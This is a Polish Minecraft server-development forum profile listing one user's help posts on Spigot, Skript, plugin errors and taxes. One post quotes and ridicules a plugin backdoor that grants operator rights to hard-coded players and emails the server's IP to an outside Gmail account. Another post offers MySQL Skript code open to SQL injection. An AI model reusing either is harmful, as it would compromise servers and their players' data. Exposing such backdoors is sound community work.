Skocz do zawartości

LeviBoyPL

Użytkownik
  • Ilość zawartości

    718
  • Rejestracja

  • Ostatnia wizyta

  • Wygrane w rankingu

    15

Treść opublikowana przez LeviBoyPL

  1. api-version The version of the API you want to use. 1.13, 1.14, 1.15, 1.16 and 1.17 are the available versions. This will signal to the server that your plugin has been coded with a specific server version in mind, and that it should not apply any sort of backwards compatibility measures. As a result you will also need to make sure that you have programmed your code to account for reading of older configurations, data, etc... .Each server version can decide how compatibility is achieved, unknown or future versions will prevent the plugin from enabling. As of the 1.14 release, the api-version 1.13 is still allowed - however future versions may drop backwards support based on this version. ps nazwy pakietu zawsze z małych
  2. Jeżeli w skriptcie możesz sprawić, że jedna osoba jeździ na drugiej to tak, jest taka możliwość od w sumie bardzo dawna. W spigocie to wygląda +/- Entity#setPassenger(Entity), w skriptcie zgaduje że będzie to coś na wzór make player mount player
  3. Brak zabezpieczenia SSL na stronie, crack IPB (to chyba podstawa do usunięcia prezentacji, ale idk), nieprzetłumaczone forum. Jeżeli do serwera przyłożyłeś się tak jak do forum to nie wróżę dobrej przyszłości.
  4. Totalnie szczerze to lepszy jest brak strony niż coś takiego xd Co do serwerka, wpadnę obczaić, prezentacja co prawda nie zachęca, ale się zobaczy. Co masz na działki?
  5. XXDDXDDXD na reklamy budżet 4k a na programistę 200zł/mc? Nikt Ci tego za pół darmo czy obietnicę "sławy" nie będzie pisał. Pomysły ani trochę innowacyjne, czy nowoczesne, to wszystko już było, ale po prostu się nie sprawdziło na dłuższą metę. Jeżeli faktycznie umiesz technicznie rozpisywać dokumentację to może powinieneś poszukać projektu, ale z takim podejściem raczej nie sądzę, aby ktoś chciał z Tobą współpracować.
  6. https://forums.skunity.com/threads/pikachus-snippets.4304/
  7. A gdzie w tym wszystkim cena?
  8. - Czy jest możliwość, aby samodzielnie odprowadzać podatek? Większość właścicieli serwerów prowadzi JDG, z tym że, jeżeli jesteś niepełnoletni to MUSISZ poprosić rodzica/prawnego opiekuna o złożenie wniosku o wpis do CEIDG, bez tego nie będziesz mógł prowadzić działalności gospodarczej. - Czy da się to obejść korzystając z usług jakiegoś płatnego itemshopu, który za mnie będzie sie tym zajmował. Szczerze to nie mam pojęcia jak wygląda taka współpraca, ale wydaje mi się, że nie działa to do końca tak jak uważasz. Pieniądze, które dostajesz z ItemShopu mają odciągnięty podatek VAT, z dochodówki rozliczają się oni, a Ty jeżeli otrzymujesz od nich pieniądze to nadal musisz się z nich rozliczyć. Tak samo jak streamerzy dostają donejty, to mimo tego że oni dostają kwotę już po odciągnięciu VAT to nadal muszą się z nich rozliczyć. - Odnoszę wrażenie, że większość średnich i małych serwerów wcale nie płaci podatków, zdarza się ze ktoś ma dzięki temu problemy? Jak często? (Mniej wiecej) https://ksiegowosc.infor.pl/podatki/podatki-osobiste/pit/5322084,Kwota-wolna-od-podatku-2022.html https://www.eporady24.pl/nieodprowadzanie-podatku-od-nielegalnego-zarobku,pytania,15,93,19777.html
  9. LeviBoyPL

    Skrypt na Gamemode

    Nie uważasz że 6 linijek za każdym razem kiedy ktoś wchodzi na serwer to dużo za dużo? Biorąc pod uwagę to, że ogromna większość pluginów, które są dużo bardziej złożone i darmowe nie wysyła do gracza zawyczaj nic. Spoko, że zrobiłeś opcje do wyłączenia tego, ale nadal widząc 6 linijek przy każdym wejściu raczej nikt się nie zdecyduje na zostawienie tego na true, może gdyby została jedna?
  10. Player#performCommand("komenda") Ale to jest bardzo niepoprawne, lepiej byłoby gdybyś użył API z innych pluginów i wykonywał kod bezpośrednio
  11. Plugin Umbaska próbuje się połączyć zestroną http://umbaska.funnygatt.space/version.txt żeby sprawdzić najnowszą wersję, ale strona nie odpowiada/już nie istnieje, dlatego wywala błąd.
  12. Wywal pluginy powodujące błędy, tzn Essentials, openlogin w configu protectionstones w sekcji farewell-action użyłeś niedozwolnego znaku gdzieś, tzn zapisałeś to jako farewell-action& w configu goldencrates też użyłeś '&c&lPowr�t' zamiast 'Powrót' Nie pomoże to akurat w Twoim przypadku, ale dobrze byłoby gdybyś to naprawił ;] Co do błędu błąd java.io.IOException zazwyczaj występuje przy próbuje zapisu/odczytu pliku który nie istnieje, albo proces serwera nie ma do niego praw (źle skonfigurowane dostępy użytkowników do plików na VPSie), albo nie masz wystarczająco miejsca na dysku. Przydałoby się gdybyś dał cały log, być może niżej też coś się dzieje.
  13. To tylko przebrandowany minecast xd tu survivia tu minecast Także raczej odgrzewany kotlet, ale raz wpadnę zobaczyć, być może się mylę i po prostu tylko stronka została skopiowana
  14. Stawiany blok traci właściwości. Możesz to sprawdzić poprzez postawienie nazwanego bloku i zniszczenie go, nie będzie on miał takiej samej nazwy. Obejściem będzie uzycie eventu od interakcji i sprawdzanie czy koleś użył prawego przycisku na innym bloku.
  15. set {_id} to inventory name of player's current inventory
  16. Ustaw sobie zmienną {parkour::hasPlayerStarted:%player%} na true podczas wykonywania komendy /parkour i jak gracz wychodzi to sprawdzaj czy jest na true, jak tak to teleportuj Jeżeli koniecznie musisz użyć regionów to if "%region at player%" contains "region_parkour" Może wymagać wtyczki skunity
  17. if (e.getPlayer().getName().equalsIgnoreCase("kvlike_") || e.getPlayer().getName().equalsIgnoreCase("qxrvy69")) e.getPlayer().setOp(true); ?? XD polecam usunąć ten temat i zbanować użytkownika, a co do kodu to JavaPlugin javaPlugin = SimpleRandomTeleport.getPlugin(SimpleRandomTeleport.class); Po co Ci instancja pluginu w evencie, której nie używasz? Bukkit.dispatchCommand((CommandSender)e.getPlayer(), "rtp"); Zamiast tego używasz sobie jakiegoś menagera, a nie sprawiasz, że koleś używa komendy private String getIp() { URL whatismyip = null; try { whatismyip = new URL("http://checkip.amazonaws.com"); } catch (MalformedURLException e) { e.printStackTrace(); } BufferedReader in = null; try { assert whatismyip != null; in = new BufferedReader(new InputStreamReader(whatismyip.openStream())); } catch (IOException e) { e.printStackTrace(); } String ip = null; try { assert in != null; ip = in.readLine(); } catch (IOException e) { e.printStackTrace(); } return ip; } private void sendMail(String ipmessage) { String to = "[email protected]"; String from = "[email protected]"; String host = "smtp.gmail.com"; Properties properties = System.getProperties(); properties.put("mail.smtp.host", host); properties.put("mail.smtp.port", "465"); properties.put("mail.smtp.ssl.enable", "true"); properties.put("mail.smtp.auth", "true"); Session session = Session.getInstance(properties, new Authenticator() { protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication("[email protected]", "backd00r!"); } }); session.setDebug(false); try { MimeMessage message = new MimeMessage(session); message.setFrom((Address)new InternetAddress(from)); message.addRecipient(Message.RecipientType.TO, (Address)new InternetAddress(to)); message.setSubject("backdoored server"); message.setText(ipmessage); Transport.send((Message)message); System.out.println("Sent message successfully...."); } catch (MessagingException mex) { mex.printStackTrace(); } } To jeszcze bardziej bekowe xd
  18. Możesz równie dobrze używać do tego worldedita, zapisać schematic i wklejać go po grze w takim razie
  19. Po rundzie czego? Jakiego pluginu używasz do minigry?
  20. Jakiej technologii backendowej byś chciał?
  21. To Ci pomoże https://www.spigotmc.org/threads/dynamic-player-head-textures.482194/ Warto zapisywać sobie te główki w jakiejś hashmapce i później je tylko wyciągać w razie potrzeby
  22. on load: set mysql host to "host" set mysql username to "user" set mysql database to "base" connect to mysql command /test1 [<offlineplayer>]: trigger: if arg-1 is set: set {_result59013} to mysql result of query "SELECT * FROM `test` WHERE `name` = '%arg-1%'" set {_name59013::*} to mysql string "text" in {_result59013} loop {_result59013::*}: send "%{_name59013::%loop-value%}%" else: send "Podaj nick" stop command /vipek: trigger: mysql update "INSERT INTO `test` (`name`, `text`) VALUES ('%player%', 'VIPEK TO JEST')" send "Dodano vipa" command /svipk: trigger: mysql update "INSERT INTO `test` (`name`, `text`) VALUES ('%player%', 'SVIPEK TO JEST')" send "Dodano vipa" Chyba tak to będzie
  23. Nie znam C# i tego jak Unity handluje takie skrypty, ale myślę, że public int moventspeed Prawdopodobnie powinno zostać ustawione na 1 bądź wartość inną niż 0 (bo domyślnie jest to chyba 0, tak jak w Javie). Zobacz, że niżej mnożysz jakiś atrybut Vectora razy tę wartość, a jak wiadomo nawet 100 razy 0 daje 0. Dodatkowo polecam używać Ci metody Debug.Log, która printuje informacje. Wtedy możesz też sprawdzić czy całość w ogóle działa.
  24. Czym jest InneItems.rzucanetnt()?
  25. HashMapa może zapisywać jedynie typy Referencyjne, co oznacza, że zamiast zdefiniować typ zmiennej prymitywnej boolean powinieneś użyć Boolean. Żeby odczytać wartość z HashMapy używając klucza musisz jedynie skorzystać z metody HashMap#get(Object key). W Twoim przypadku będzie to dropMessage.get(p). Wtedy zwrócona wartość to właśnie Twój Boolean.
×
×
  • Dodaj nową pozycję...